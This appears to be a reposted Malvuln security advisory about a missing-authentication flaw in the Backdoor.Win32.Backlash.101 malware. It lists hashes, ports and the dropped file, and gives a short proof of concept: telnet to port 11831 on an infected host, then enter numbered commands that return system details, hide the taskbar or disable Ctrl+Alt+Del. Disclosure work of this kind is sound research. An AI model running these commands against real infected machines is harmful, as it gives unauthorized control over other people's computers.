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Backdoor.Win32.Backlash.101 Missing Authentication

Backdoor.Win32.Backlash.101 Missing Authentication
Posted Feb 13, 2021
Authored by malvuln | Site malvuln.com

Backdoor.Win32.Backlash.101 malware suffers from a missing authentication vulnerability.

tags | exploit
systems | windows
MD5 | 940635375048734dc4376d0392bf4b58

Backdoor.Win32.Backlash.101 Missing Authentication

Change Mirror Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/4ba3c08d8ad964328f2b6f618f714df2.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Backlash.101
Vulnerability: Missing Authentication
Description: BackLash Server 1.0 Alpha drops an executable named "d3d8thk.exe" under Windows dir and listens on TCP ports 11831 and 29559. Telnet to port 11831 allows anyone to retrieve basic system information and run some of the malwares built-in commands on the infected host.

Type: PE32
MD5: 4ba3c08d8ad964328f2b6f618f714df2
Vuln ID: MVID-2021-0085
Dropped files: d3d8thk.exe
Disclosure: 02/12/2021

Exploit/PoC:
TELNET x.x.x.x 11831

Enter the number 1 and hit enter and we see some system information returned.

1001Windows folder: C:\WINDOWS
System folder: C:\WINDOWS\system32
Product Key:
Product Id:
Cpu: Intel64 Family 6 Model 158 Stepping 9
Temp folder: C:\Users\victim\AppData\Local\Temp\
Windows version: Windows NT 6.2 9200
Minutes in windows: 157
Computer name: DESKTOP-6BLAHNO
User name: victim
Windows language: English (United States)
Resolution: 1503x819
NumLock state: Off
CapsLock state: On
ScrollLock state: Off
Play sounds: Yes
Free disk space: 2,774,273,536
Local host: DESKTOP-6BLAHNO
Clients connected: 1

Continue entering numbers 2 - 9 and so forth.

2000 All icons in desktop are hidden now...
3000 Start button is hidden now...
4000 Taskbar is hidden now...
5000 Task icons are hidden now...
6000 Task clock is hidden now...
7000 Monitor is off now...
8000 Ctrl+Alt+Del disabled...
9000 ScrollLock is off now...


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
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